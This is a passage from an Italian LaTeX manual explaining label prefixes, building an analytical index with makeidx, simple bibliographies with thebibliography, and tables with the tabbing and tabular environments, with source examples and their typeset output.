Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

È bene ribadire che LaTeX inserisce implicitamente le etichette generate con il comando '**`\label`**' in un contesto particolare, per cui il risultato del comando '**`\ref`**' cambia di conseguenza. Tuttavia, il numero che viene mostrato da '**`\ref`**' non è accompagnato dal contesto in fase di composizione, pertanto è compito dell'autore scrivere di cosa si tratta (capitolo, sezione, tabella, figura o altro). In questo senso, diventa importante ricordare a cosa si riferisce una certa stringa di identificazione, pertanto, la stessa documentazione originale di LaTeX propone di usare un prefisso diverso in base al contesto:

Comando	Descrizione
`\label{cha:`***stringa_successiva***`}`	etichetta di identificazione di un capitolo;
`\label{sec:`***stringa_successiva***`}`	etichetta di identificazione di una sezione di livello inferiore al capitolo;
`\label{tab:`***stringa_successiva***`}`	etichetta di identificazione di una tabella;
`\label{fig:`***stringa_successiva***`}`	etichetta di identificazione di una figura;
`\label{eq:`***stringa_successiva***`}`	etichetta di identificazione di un'equazione.

Le stringhe di identificazione generate dal comando '**`\label`**', sono annotate in un file con estensione '`.aux`' (assieme ad altre informazioni estranee). Quando LaTeX viene riavviato in una fase di composizione successiva, carica in memoria i dati contenuti nel file '`.aux`' e lo utilizza per risolvere i riferimenti con i comandi '**`\ref`**' e '**`\pageref`**'.

62.10.3 Indice analitico

La realizzazione di un indice analitico, ovvero un indice che raccoglie una serie ordinata di voci che possono essere inserite in varie parti del documento, è più complessa rispetto a quella dell'indice generale. In special modo, in questo caso è necessario provvedere a riordinare e riorganizzare i dati nel modo corretto. I comandi coinvolti per la realizzazione dell'indice analitico, sono riassunti brevemente nell'elenco seguente:

Comando	Descrizione
`\usepackage{makeidx}`	si usa questo comando nel preambolo per importare il codice necessario alla gestione dell'indice analitico;
`\makeindex`	si usa questo comando, sempre nel preambolo, per attivare la gestione dell'indice analitico;
`\index{`***voce***`}`	inserisce la voce indicata nel file '`.idx`', dal quale si ottiene poi l'indice analitico;
`\printindex`	inserisce l'indice analitico contenuto nel file '`.ind`', ottenuto attraverso un'elaborazione esterna a LaTeX.

Come si vede, è necessario utilizzare un pacchetto esterno, denominato '**`makeidx`**', quindi si deve attivare la costruzione dell'indice, con il comando '**`\makeindex`**'. Pertanto, si inseriscono le istruzioni seguenti nel preambolo:

```
\usepackage{makeidx}
\makeindex
```

Lo scopo particolare di '**`\makeindex`**' è quello di aprire un file con estensione '`.idx`', in cui il comando '**`\index`**' può poi annotare le sue voci. Si osservi l'esempio seguente:

```
...
\usepackage{makeidx}
\makeindex
...
\begin{document}

\section{Prima} \index{resistenza}\index{induttanza}

Qui si parla di resistenze e di induttanze, bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla...

\section{Seconda} \index{capacità}

Qui si parla di capacità e simili, bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla...

\end{document}
```

Nella composizione finale, i comandi '**`\index`**' non producono alcun risultato e si comportano in modo simile al comando '**`\label`**':

1 Prima

Qui si parla di resistenze e di induttanze, bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

2 Seconda

Qui si parla di capacit[U+FFFD]ncora di resistenza, bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

Dopo l'elaborazione normale con LaTeX si ottiene un file con estensione '`.idx`', con il contenuto seguente:

```
\indexentry{resistenza}{1}
\indexentry{induttanza}{1}
\indexentry{capacit\'a}{1}
\indexentry{resistenza}{1}
```

Si può osservare che le voci sono state inserite nella sequenza in cui appaiono nel sorgente LaTeX, senza tenere conto di eventuali ripetizioni. Ma LaTeX non è nelle condizioni di usare questo file direttamente nell'elaborazione successiva; prima occorre riordinare e riorganizzare le voci attraverso il programma '**`makeindex`**':

`makeindex` ***nome_file_senza_estensione***

Per esempio, se si sta facendo la composizione del file '`prova.tex`', è sufficiente il comando:

`$` **`makeindex prova`** [*Invio*]

In questo modo, '**`makeindex`**' cerca di leggere il file '`prova.idx`' (quello generato dall'elaborazione di LaTeX) e produce il file '`prova.ind`', che, seguendo l'esempio, dovrebbe contenere quanto segue:

```
\begin{theindex}

  \item capacit\'a, 1

  \indexspace

  \item induttanza, 1

  \indexspace

  \item resistenza, 1

\end{theindex}
```

Come si può vedere, la voce '**`resistenza`**' contiene un riferimento unico, dal momento che appare due volte, ma nella stessa pagina finale.[3]

Se il sorgente LaTeX contiene il comando '**`\printindex`**', in quel punto viene inserito il

contenuto del file con estensione '.ind', a partire da una pagina nuova, con l'aggiunta di un titolo adeguato:

```
…
\usepackage{makeidx}
\makeindex
…
\begin{document}

\section{Prima} \index{resistenza}\index{induttanza}

Qui si parla di resistenze e di induttanze, bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla...

\section{Seconda} \index{capacità}

Qui si parla di capacità e simili, bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla...

\printindex

\end{document}
```

1 Prima

Qui si parla di resistenze e di induttanze, bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

2 Seconda

Qui si parla di capacit[U+FFFD]ncora di resistenza, bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

Indice analitico

capacità, 1

induttanza, 1

resistenza, 1

1

È da osservare che la voce indicata come argomento del comando '**\index**' può essere più articolata, in base alle capacità elaborative di '**makeindex**'. In pratica, si utilizzano dei simboli per separare la voce in più parti. L'elenco seguente dovrebbe aiutare a comprendere il meccanismo:

Comando	Descrizione
`\index{`*voce*`}`	questa è la situazione normale, in cui si inserisce la voce indicata, così come inserita, nell'indice;
`\index{`*voce_principale*`!`*voce_secondaria*`}`	il punto esclamativo permette di separare una voce principale da una parte secondaria, che poi può essere mostrata con un leggero rientro rispetto alla prima parte;
`\index{`*voce_principale*`@`*voce_abbellita*`}`	la chiocciola separa una prima parte, da prendere in considerazione ai fini dell'ordinamento, dalla seconda parte che invece viene mostrata nell'indice, consentendo l'uso di comandi che modificano l'aspetto del carattere;
`\index{`*voce*`|`*comandi_per_il_numero_della_pagina*`}`	la barra verticale separa la voce dell'indice dai comandi per controllare l'aspetto del numero della pagina (comandi da usare senza la barra obliqua inversa iniziale).

L'esempio seguente è una variante di quanto già visto, per mostrare l'uso del comando '**`\index`**' con questi simboli particolari:

```
\section{Prima} \index{resistenza}\index{resistenza!induttiva|textit}

Qui si parla di resistenze e di induttanze, bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla...

\section{Seconda} \index{resistenza!capacitiva|textit}
\index{resistenza@\texttt{resistenza}}

Qui si parla di capacità e ancora di resistenza, bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla...
```

Ecco come si presenta l'indice; si può osservare che la voce '**`resistenza`**' appare due volte, perché il tipo di carattere è stato modificato:

Indice analitico

resistenza, 1
    capacitiva, *1*
    induttiva, *1*
`resistenza`, 1

1

62.10.4 Bibliografie

LaTeX offre una gestione molto semplice delle bibliografie attraverso l'uso dell'ambiente '**thebibliography**'. I comandi coinvolti sono descritti brevemente nell'elenco seguente:

Comando	Descrizione
\begin{thebibliography}{*stringa_di_esempio*}...↩ ↪\end{thebibliography}	dichiara l'ambiente che contiene le informazioni bibliografiche;
\bibitem[*sigla*]{*stringa_identificativa_della_voce*}	all'interno dell'ambiente '**thebibliography**' dichiara l'inizio di una voce bibliografica;
\cite[*testo_aggiuntivo*{*stringa_identificativa_della_voce*}]	si usa al di fuori dell'ambiente '**thebibliography**', per richiamare il riferimento a una voce bibliografica.

In pratica, l'ambiente '**thebibliography**' serve a raccogliere le voci bibliografiche, ognuna dichiarata attraverso il comando '**\bibitem**'. Nel risultato della composizione, le voci vengono precedute da una sigla, come indicato dal comando '**\bibitem**', oppure da un numero gestito in modo automatico; pertanto, per garantire un allineamento corretto, la dichiarazione dell'ambiente richiede un argomento composto da una stringa di esempio, che rappresenti l'ampiezza massima di questa sigla, sia gestita manualmente, sia automatica.

Al di fuori dell'ambiente '**thebibliography**', di solito prima di questo, si usa il comando '**\cite**' per fare riferimento a una voce bibliografica, attraverso la stringa identificativa che usa lo stesso comando '**\bibitem**'. Se viene usato l'argomento opzionale di '**\cite**', si ottiene l'aggiunta di quella stringa dopo la sigla usata per identificarlo.

Per cominciare conviene mostrare un esempio molto semplice, in cui non si usano argomenti opzionali:

```
\section{Resistenze e condensatori}

Qui si parla di resistenze \cite{res} e di condensatori \cite{con}, bla
bla bla bla bla bla bla bla bla...

\begin{thebibliography}{99}
\bibitem{res} Tizio Tizi, \textit{Resistenze elettriche}, 2002
\bibitem{con} Caio Cai, \textit{Condensatori e correnti alternate}, 2001
\end{thebibliography}
```

Come si vede, l'argomento della dichiarazione dell'ambiente '**thebibliography**' contiene la stringa '**99**', perché si sa che la sigla usata per distinguere le voci non può essere più lunga di un numero di due cifre:

1 Resistenze e condensatori

Qui si parla di resistenze [1] e di condensatori [2], bla bla bla bla bla bla bla bla bla...

Riferimenti bibliografici

[1] Tizio Tizi, *Resistenze elettriche*, 2002

[2] Caio Cai, *Condensatori e correnti alternate*, 2001

Volendo aggiungere un riferimento a una certa pagina del primo libro citato, basta sfruttare l'argomento opzionale di '**`\cite`**':

```
Qui si parla di resistenze \cite[pag. 1]{res} e di condensatori
\cite{con}, bla bla bla bla bla bla bla bla bla...
```

1 Resistenze e condensatori

Qui si parla di resistenze [1, pag. 1] e di condensatori [2], bla bla bla bla bla bla bla bla bla...

Riferimenti bibliografici

[1] Tizio Tizi, *Resistenze elettriche*, 2002

[2] Caio Cai, *Condensatori e correnti alternate*, 2001

Infine, per usare delle sigle più significative, si può sfruttare l'argomento opzionale del comando '**`\bibitem`**', ma in questo caso occorre intervenire anche nella dichiarazione dell'ampiezza massima di queste stringhe:

```
\begin{thebibliography}{ZZZZZ}
\bibitem[TIZ]{res} Tizio Tizi, \textit{Resistenze elettriche}, 2002
\bibitem[COND]{con} Caio Cai, \textit{Condensatori e correnti alternate}, 2001
\end{thebibliography}
```

1 Resistenze e condensatori

Qui si parla di resistenze [TIZ, pag. 1] e di condensatori [COND], bla bla bla bla bla bla bla bla bla...

Riferimenti bibliografici

[TIZ] Tizio Tizi, *Resistenze elettriche*, 2002

[COND] Caio Cai, *Condensatori e correnti alternate*, 2001

Come si intuisce, l'uso di riferimenti bibliografici di questo tipo richiede delle rielaborazioni successive, anche se in questo caso non intervengono programmi esterni.

Eventualmente, se questo tipo di gestione bibliografica si mostra insufficiente, è disponibile BibTeX, che consente di gestire una bibliografia molto dettagliata in un file esterno, dove solo le voci richieste espressamente vengono poi mostrate nella composizione finale.

62.11 Tabelle

LaTeX offre due ambienti per la costruzione di tabelle: '**`tabbing`**' e '**`tabular`**'. Il primo dei due riguarda la realizzazione di tabelle attraverso delle tabulazioni, mentre il secondo è invece più completo, anche se poi offre meno libertà.

62.11.1 Tabella fatta di tabulazioni

Attraverso l'ambiente '**`tabbing`**', si può allineare il testo in colonne, fissando gli stop di tabulazione attraverso scatole orizzontali di riferimento, che di solito si ottengono con del testo opportuno. Si osservi subito un esempio molto semplice:

```
\begin{tabbing}
marrone \= 10 \% \= quattro \kill

nero \> 0 \> zero \\
marrone \> 1 \> uno \\
rosso \> 2 \> due \\
arancio \> 3 \> tre \\
giallo \> 4 \> quattro \\
verde \> 5 \> cinque \\
blu \> 6 \> sei \\
viola \> 7 \> sette \\
grigio \> 8 \> otto \\
bianco \> 9 \> nove \\

argento \> 10 \% \\
oro \> 5 \% \\
\> 2 \% \\
\> 1 \% \\
\end{tabbing}
```

Si può già comprendere intuitivamente il significato delle istruzioni inserite nell'esempio. In particolare, si può osservare nel risultato della composizione che la prima riga non appare, ma serve solo per indicare alle righe successive la collocazione degli stop di tabulazione; infatti, si può vedere che la prima riga contiene l'esempio del testo più lungo utilizzato in ogni colonna:

nero	0	zero
marrone	1	uno
rosso	2	due
arancio	3	tre
giallo	4	quattro
verde	5	cinque
blu	6	sei
viola	7	sette
grigio	8	otto
bianco	9	nove
argento	10 %	
oro	5 %	
	2 %	
	1 %	

La sintassi per l'utilizzo di questo ambiente '**`tabbing`**' è rappresentata in modo semplificato dal modello seguente:

```
\begin{tabbing}
testo \= testo [\= testo]... \kill
testo \> testo [\> testo]... \\
[testo \> testo [\> testo]... \\]
...
\end{tabbing}
```

Il modello non esaurisce tutte le possibilità, ma rende l'idea dell'utilizzo più frequente: all'inizio si dichiara la distanza degli stop di tabulazione con una riga di esempio, che poi non viene prodotta nella composizione. Tra le alternative possibili, c'è da considerare la possibilità di definire gli stop di tabulazione in una riga che poi viene comunque emessa anche nella composizione (in tal caso si sostituisce '**`\kill`**' con '**`\\`**'); inoltre, è possibile modificare gli stop di tabulazione con un'altra riga contenente comandi '**`\=`**'. Segue la descrizione dei comandi più importanti che riguardano l'ambiente '**`tabular`**':

Comando	Descrizione
`\=`	fissa uno stop di tabulazione nella posizione in cui si trova;
`\>`	salta allo stop di tabulazione successivo;
`\kill`	prende in considerazione i comandi che fissano gli stop di tabulazione, ma non mostra la riga corrispondente nella composizione finale;
`\pushtabs` `\poptabs`	salva e ripristina le posizioni degli stop di tabulazione, quando si vuole avere una suddivisione diversa in un ambito temporaneo della tabella.

In realtà, i comandi specifici dell'ambiente '**`tabbing`**' sono molti di più; in particolare, la sovrapposizione di accenti alle lettere funziona in modo diverso dal solito. Onde evitare di creare confusione per questo motivo, si preferisce mostrare un modo alternativo di usare l'ambiente '**`tabbing`**', allo scopo di raggirare questo inconveniente:

```
\begin{tabbing}
testo  [\= testo]... \kill
\parbox{\textwidth}{testo} [\> \parbox{\textwidth}{testo}]... \\
[\parbox{\textwidth}{testo} [\> \parbox{\textwidth}{testo}]... \\]
...
\end{tabbing}
```

In pratica, si inserisce il testo di ogni cella dentro l'ambiente definito dal comando '**\parbox**', che ripristina le condizioni di funzionamento normale.

Per definire in modo preciso gli stop di tabulazione, ci si può avvalere del comando '**\hspace**', il cui scopo è quello di produrre uno spazio orizzontale ben definito:

```
\begin{tabbing}
\hspace*{larghezza_colonna} [\= \hspace*{larghezza_colonna}]... \kill
\parbox{\textwidth}{testo} [\> \parbox{\textwidth}{testo}]... \\
[\parbox{\textwidth}{testo} [\> \parbox{\textwidth}{testo}]... \\]
...
\end{tabbing}
```

L'asterisco che appare nel comando '**\hspace**' è un'opzione necessaria a evitare che lo spazio finale venga eliminato (diversamente non si otterrebbe l'effetto desiderato). Viene ripreso l'esempio iniziale, modificato con le tecniche appena descritte, aggiungendo una colonna ulteriore per dei commenti:

```
\begin{tabbing}
\hspace*{3cm} \= \hspace*{2cm} \= \hspace*{3cm} \= \hspace*{4cm} \kill

\parbox{\textwidth}{nero}    \> \parbox{\textwidth}{0}
    \> \parbox{\textwidth}{zero} \\
\parbox{\textwidth}{marrone} \> \parbox{\textwidth}{1}
    \> \parbox{\textwidth}{uno} \\
\parbox{\textwidth}{rosso}   \> \parbox{\textwidth}{2}
    \> \parbox{\textwidth}{due} \\
\parbox{\textwidth}{arancio} \> \parbox{\textwidth}{3}
    \> \parbox{\textwidth}{tre} \\
\parbox{\textwidth}{giallo}  \> \parbox{\textwidth}{4}
    \> \parbox{\textwidth}{quattro} \\
\parbox{\textwidth}{verde}   \> \parbox{\textwidth}{5}
    \> \parbox{\textwidth}{cinque} \\
\parbox{\textwidth}{blu}     \> \parbox{\textwidth}{6}
    \> \parbox{\textwidth}{sei} \\
\parbox{\textwidth}{viola}   \> \parbox{\textwidth}{7}
    \> \parbox{\textwidth}{sette} \\
\parbox{\textwidth}{grigio}  \> \parbox{\textwidth}{8}
    \> \parbox{\textwidth}{otto} \\
\parbox{\textwidth}{bianco}  \> \parbox{\textwidth}{9}
```

```
    \> \parbox{\textwidth}{nove} \\

\parbox{\textwidth}{argento} \> \parbox{\textwidth}{10 \%}
  \> \> \parbox{\textwidth}{bla bla bla bla bla bla bla bla bla bla bla} \\
\parbox{\textwidth}{oro} \> \parbox{\textwidth}{5 \%} \\
                         \> \parbox{\textwidth}{2 \%} \\
                         \> \parbox{\textwidth}{1 \%} \\
\end{tabbing}
```

Per il momento, le tecniche mostrate non risolvono ancora il problema del traboccamento del testo da una colonna a quella successiva. A questo proposito, nell'esempio si può osservare che il commento nella quarta colonna, per la quale si prevede una larghezza di 4 cm, va oltre lo spazio a disposizione.

nero	0	zero	
marrone	1	uno	
rosso	2	due	
arancio	3	tre	
giallo	4	quattro	
verde	5	cinque	
blu	6	sei	
viola	7	sette	
grigio	8	otto	
bianco	9	nove	
argento	10 %		bla bla bla bla bla bla bla bla bla bla bla
oro	5 %		
	2 %		
	1 %		

Per ovviare a questo inconveniente, occorre controllare meglio il comando '**`\parbox`**', specificando esattamente la larghezza, nello stesso modo usato per la definizione degli stop di tabulazione:

```
\begin{tabbing}
\hspace*{3cm} \= \hspace*{2cm} \= \hspace*{3cm} \= \hspace*{4cm} \kill

\parbox{3cm}{nero}    \> \parbox{2cm}{0}
    \> \parbox{3cm}{zero} \\
\parbox{3cm}{marrone} \> \parbox{2cm}{1}
    \> \parbox{3cm}{uno} \\
\parbox{3cm}{rosso}   \> \parbox{2cm}{2}
    \> \parbox{3cm}{due} \\
\parbox{3cm}{arancio} \> \parbox{2cm}{3}
    \> \parbox{3cm}{tre} \\
\parbox{3cm}{giallo}  \> \parbox{2cm}{4}
    \> \parbox{3cm}{quattro} \\
\parbox{3cm}{verde}   \> \parbox{2cm}{5}
    \> \parbox{3cm}{cinque} \\
\parbox{3cm}{blu}     \> \parbox{2cm}{6}
    \> \parbox{3cm}{sei} \\
\parbox{3cm}{viola}   \> \parbox{2cm}{7}
    \> \parbox{3cm}{sette} \\
```

```
\parbox{3cm}{grigio}  \> \parbox{2cm}{8}
    \> \parbox{3cm}{otto} \\
\parbox{3cm}{bianco}  \> \parbox{2cm}{9}
    \> \parbox{3cm}{nove} \\

\parbox{3cm}{argento} \> \parbox{2cm}{10 \%}
    \> \> \parbox{4cm}{bla bla bla bla bla bla bla bla bla bla bla} \\
\parbox{3cm}{oro} \> \parbox{2cm}{5 \%} \\
                         \> \parbox{2cm}{2 \%} \\
                         \> \parbox{2cm}{1 \%} \\
\end{tabbing}
```

In questo modo, finalmente, il testo che eccede lo spazio a disposizione viene suddiviso automaticamente in più righe; inoltre, è possibile controllare la posizione verticale del testo nella cella, attraverso le opzioni di '**`\parbox`**'.

nero	0	zero	
marrone	1	uno	
rosso	2	due	
arancio	3	tre	
giallo	4	quattro	
verde	5	cinque	
blu	6	sei	
viola	7	sette	
grigio	8	otto	
bianco	9	nove	
argento	10 %		bla bla bla bla bla bla bla bla bla bla bla
oro	5 %		
	2 %		
	1 %		

L'ultimo problema che vale la pena di prendere in considerazione in questo tipo di ambiente, è la definizione di tabulazioni relative all'ampiezza del testo. Ciò si ottiene anteponendo un numero davanti al comando che restituisce già questo valore. Per esempio, '**`0.5\textwidth`**' rappresenta esattamente la metà dell'ampiezza orizzontale a disposizione. Viene riproposto l'esempio consueto con l'indicazione di ampiezze relative:

```
\begin{tabbing}
\hspace*{0.2\textwidth} \= \hspace*{0.1\textwidth} \= \hspace*{0.2\textwidth}
    \= \hspace*{0.8\textwidth} \kill

\parbox{0.2\textwidth}{nero}    \> \parbox{0.1\textwidth}{0}
    \> \parbox{0.2\textwidth}{zero} \\
\parbox{0.2\textwidth}{marrone} \> \parbox{0.1\textwidth}{1}
    \> \parbox{0.2\textwidth}{uno} \\
\parbox{0.2\textwidth}{rosso}   \> \parbox{0.1\textwidth}{2}
    \> \parbox{0.2\textwidth}{due} \\
\parbox{0.2\textwidth}{arancio} \> \parbox{0.1\textwidth}{3}
    \> \parbox{0.2\textwidth}{tre} \\
\parbox{0.2\textwidth}{giallo}  \> \parbox{0.1\textwidth}{4}
    \> \parbox{0.2\textwidth}{quattro} \\
\parbox{0.2\textwidth}{verde}   \> \parbox{0.1\textwidth}{5}
```

```
    \> \parbox{0.2\textwidth}{cinque} \\
\parbox{0.2\textwidth}{blu}     \> \parbox{0.1\textwidth}{6}
    \> \parbox{0.2\textwidth}{sei} \\
\parbox{0.2\textwidth}{viola}   \> \parbox{0.1\textwidth}{7}
    \> \parbox{0.2\textwidth}{sette} \\
\parbox{0.2\textwidth}{grigio}  \> \parbox{0.1\textwidth}{8}
    \> \parbox{0.2\textwidth}{otto} \\
\parbox{0.2\textwidth}{bianco}  \> \parbox{0.1\textwidth}{9}
    \> \parbox{0.2\textwidth}{nove} \\

\parbox{0.2\textwidth}{argento} \> \parbox{0.1\textwidth}{10 \%}
    \> \> \parbox{0.3\textwidth}{bla bla bla bla bla bla bla bla bla
                                  bla bla} \\
\parbox{0.2\textwidth}{oro}     \> \parbox{0.1\textwidth}{5 \%} \\
                                 \> \parbox{0.1\textwidth}{2 \%} \\
                                 \> \parbox{0.1\textwidth}{1 \%} \\
\end{tabbing}
```

nero	0	zero	
marrone	1	uno	
rosso	2	due	
arancio	3	tre	
giallo	4	quattro	
verde	5	cinque	
blu	6	sei	
viola	7	sette	
grigio	8	otto	
bianco	9	nove	
argento	10 %		bla bla bla bla bla bla bla bla bla bla bla
oro	5 %		
	2 %		
	1 %		

Questo tipo di tabella, ottenuta attraverso degli stop di tabulazione, è fatta per poter essere separata anche in più pagine; inoltre, non si adatta facilmente all'inserimento di bordi attorno alle celle. Tuttavia, per la gestione dei bordi si preferisce di solito l'ambiente '**`tabular`**'.

62.11.2 Tabella fatta di colonne e righe

Anche se in pratica si tratta sempre della stessa cosa, l'ambiente '**`tabular`**' non fa riferimento a degli stop di tabulazione, ma a delle colonne, definite contestualmente alla dichiarazione iniziale dell'ambiente:

```
\begin{tabular}{definizione_delle_colonne}
testo & testo [& testo]... \\
[testo & testo [& testo]... \\]
...
\end{tabular}
```

Il modello appena mostrato è semplificato rispetto alle possibilità complessive dell'ambiente '**`tabular`**'. Come si può intuire, il simbolo '**`&`**' viene usato per identificare la fine di una colonna e l'inizio di quella successiva; inoltre, come già avveniva per l'ambiente '**`tabbing`**', si usa il comando '**`\\`**' per dichiarare la fine di una riga della tabella.

La definizione delle colonne avviene attraverso una stringa particolare che può essere anche molto articolata. Per cominciare in modo semplice, si può usare una lettera per ogni colonna, dove la lettera ha un significato specifico:

Lettera	Descrizione
`l`	rappresenta una colonna il cui contenuto deve essere allineato a sinistra;
`r`	rappresenta una colonna il cui contenuto deve essere allineato a destra;
`c`	rappresenta una colonna il cui contenuto deve essere allineato al centro.

Inoltre, esiste la possibilità di segnalare l'inserzione di una linea verticale alle estremità oppure tra una colonna e l'altra:

Simbolo	Descrizione
`|`	rappresenta una separazione attraverso una linea verticale.

Per esempio, la tabella che viene dichiarata nel modo seguente, indica la presenza di tre colonne, dove la prima e la terza ha il testo allineato a sinistra, mentre quella centrale ha il testo allineato a destra; inoltre, definisce un bordo verticale sinistro, un bordo destro e un bordo tra la prima e la seconda colonna.

```
\begin{tabular}{|l|rl|}
```

Viene riproposto un esempio già mostrato a proposito dell'ambiente '**`tabbing`**', secondo questa definizione di colonne:

```
\begin{tabular}{|l|rl|}
nero            & 0     & zero         \\
marrone         & 1     & uno          \\
rosso           & 2     & due          \\
arancio         & 3     & tre          \\
giallo          & 4     & quattro      \\
verde           & 5     & cinque       \\
blu             & 6     & sei          \\
viola           & 7     & sette        \\
grigio          & 8     & otto         \\
bianco          & 9     & nove         \\
argento         & 10 \% &              \\
oro             & 5 \%  &              \\
                & 2 \%  &              \\
                & 1 \%  &              \\
\end{tabular}
```

nero	0	zero
marrone	1	uno
rosso	2	due
arancio	3	tre
giallo	4	quattro
verde	5	cinque
blu	6	sei
viola	7	sette
grigio	8	otto
bianco	9	nove
argento	10 %	
oro	5 %	
	2 %	
	1 %	

Come si vede, non è stata dichiarata l'ampiezza delle colonne, pertanto questa viene determinata automaticamente, prendendo in considerazione l'ampiezza della cella che contiene il testo più lungo, anche se questo può produrre una tabella più larga dello spazio a disposizione nel corpo del documento.

Sempre rimanendo a un livello realizzativo molto semplice, si possono inserire delle linee orizzontali, attraverso il comando '**`\hline`**', come nella variante seguente, in cui si aggiunge anche un'intestazione molto semplice:

```
\begin{tabular}{|l|rl|}
\hline
Colore          & Numero        &       \\
\hline
nero            & 0      & zero         \\
marrone         & 1      & uno          \\
rosso           & 2      & due          \\
arancio         & 3      & tre          \\
giallo          & 4      & quattro      \\
verde           & 5      & cinque       \\
blu             & 6      & sei          \\
viola           & 7      & sette        \\
grigio          & 8      & otto         \\
bianco          & 9      & nove         \\
argento         & 10 \% &               \\
oro             & 5 \%  &               \\
                & 2 \%  &               \\
                & 1 \%  &               \\
\hline
\end{tabular}
```

Colore	Numero	
nero	0	zero
marrone	1	uno
rosso	2	due
arancio	3	tre
giallo	4	quattro
verde	5	cinque
blu	6	sei
viola	7	sette
grigio	8	otto
bianco	9	nove
argento	10 %	
oro	5 %	
	2 %	
	1 %	

Per quanto visto fino a questo momento, si intende che non si possono ottenere celle in cui il testo utilizzi più di una riga. Tuttavia, come già mostrato a proposito dell'ambiente '**`tabbing`**', si può sfruttare il comando '**`\parbox`**':

```
\documentclass{article}
\usepackage[italian]{babel}
\usepackage[utf8x]{inputenc}
\usepackage[T1]{fontenc}
\frenchspacing
\pagestyle{empty}
\setlength{\textwidth}{14cm}
\begin{document}

\begin{tabular}{|l|rl|l|}
\hline
\parbox{0.2\textwidth}{Colore}  & \parbox{0.1\textwidth}{Numero}
    &   &        \\
\hline
\parbox{0.2\textwidth}{nero}    & \parbox{0.1\textwidth}{0}
    & \parbox{0.2\textwidth}{zero}      &        \\
\parbox{0.2\textwidth}{marrone} & \parbox{0.1\textwidth}{1}
    & \parbox{0.2\textwidth}{uno}       &        \\
\parbox{0.2\textwidth}{rosso}   & \parbox{0.1\textwidth}{2}
    & \parbox{0.2\textwidth}{due}       &        \\
\parbox{0.2\textwidth}{arancio} & \parbox{0.1\textwidth}{3}
    & \parbox{0.2\textwidth}{tre}       &        \\
\parbox{0.2\textwidth}{giallo}  & \parbox{0.1\textwidth}{4}
    & \parbox{0.2\textwidth}{quattro}   &        \\
\parbox{0.2\textwidth}{verde}   & \parbox{0.1\textwidth}{5}
    & \parbox{0.2\textwidth}{cinque}    &        \\
\parbox{0.2\textwidth}{blu}     & \parbox{0.1\textwidth}{6}
    & \parbox{0.2\textwidth}{sei}       &        \\
\parbox{0.2\textwidth}{viola}   & \parbox{0.1\textwidth}{7}
    & \parbox{0.2\textwidth}{sette}     &        \\
\parbox{0.2\textwidth}{grigio}  & \parbox{0.1\textwidth}{8}
```

```
    & \parbox{0.2\textwidth}{otto}      &        \\
\parbox{0.2\textwidth}{bianco}  & \parbox{0.1\textwidth}{9}
    & \parbox{0.2\textwidth}{nove}      &        \\

\parbox{0.2\textwidth}{argento} & \parbox{0.1\textwidth}{10 \%}
    & & \parbox{0.3\textwidth}{bla bla bla bla bla bla bla bla bla
                                bla bla} \\
\parbox{0.2\textwidth}{oro}     & \parbox{0.1\textwidth}{5 \%}
    &   &        \\
                                & \parbox{0.1\textwidth}{2 \%}
    &   &        \\
                                & \parbox{0.1\textwidth}{1 \%}
    &   &        \\
\hline
\end{tabular}

\end{document}
```

Colore	Numero		
nero	0	zero	
marrone	1	uno	
rosso	2	due	
arancio	3	tre	
giallo	4	quattro	
verde	5	cinque	
blu	6	sei	
viola	7	sette	
grigio	8	otto	
bianco	9	nove	
argento	10 %		bla bla bla bla bla bla bla bla bla bla bla
oro	5 %		
	2 %		
	1 %		

Per ottenere un risultato molto simile a questo, si potrebbe usare una dichiarazione particolare nella definizione delle colonne:

```
\begin{tabular}{|p{0.2\textwidth}|↵
↪p{0.1}\textwidth}p{0.2\textwidth}|p{0.3\textwidth}|}
```

In tal modo si semplifica l'indicazione dei dati nelle celle:

```
\begin{tabular}{|p{0.2\textwidth}|p{0.1\textwidth}p{0.2\textwidth}|p{0.3\textwidth}|}
\hline
Colore          & Numero        &       &       \\
\hline
nero            & 0     & zero          &       \\
marrone         & 1     & uno           &       \\
rosso           & 2     & due           &       \\
arancio         & 3     & tre           &       \\
giallo          & 4     & quattro       &       \\
verde           & 5     & cinque        &       \\
```

```
blu             & 6     & sei          &       \\
viola           & 7     & sette        &       \\
grigio          & 8     & otto         &       \\
bianco          & 9     & nove         &       \\
argento         & 10 \% &              & bla bla bla bla bla bla bla bla bla
                                         bla bla \\
oro             & 5 \%  &              &       \\
                & 2 \%  &              &       \\
                & 1 \%  &              &       \\
\hline
\end{tabular}
```

Colore	Numero		
nero	0	zero	
marrone	1	uno	
rosso	2	due	
arancio	3	tre	
giallo	4	quattro	
verde	5	cinque	
blu	6	sei	
viola	7	sette	
grigio	8	otto	
bianco	9	nove	
argento	10 %		bla bla bla bla bla bla bla bla bla bla bla
oro	5 %		
	2 %		
	1 %		

Come si può intuire, quella '`p{}`' è un modo per dire che il contenuto delle celle deve essere racchiuso all'interno del comando '`\parbox`' e il funzionamento è molto simile.

Oltre alla possibilità di usare il comando '`\hline`' per ottenere una linea orizzontale che divida le righe della tabella, si può ottenere una linea che intervenga solo nell'ambito di alcune colonne, attraverso il comando '`\cline`'. Si osservi l'esempio seguente che è solo una piccola variante dell'ultimo già presentato:

```
\begin{tabular}{|p{0.2\textwidth}|p{0.1\textwidth}p{0.2\textwidth}|p{0.3\textwidth}|}
\hline
Colore          & Numero        &       &       \\
\hline
nero            & 0     & zero         &       \\
marrone         & 1     & uno          &       \\
…
\cline{1-3}
argento         & 10 \% &              & bla bla bla bla bla bla bla bla bla
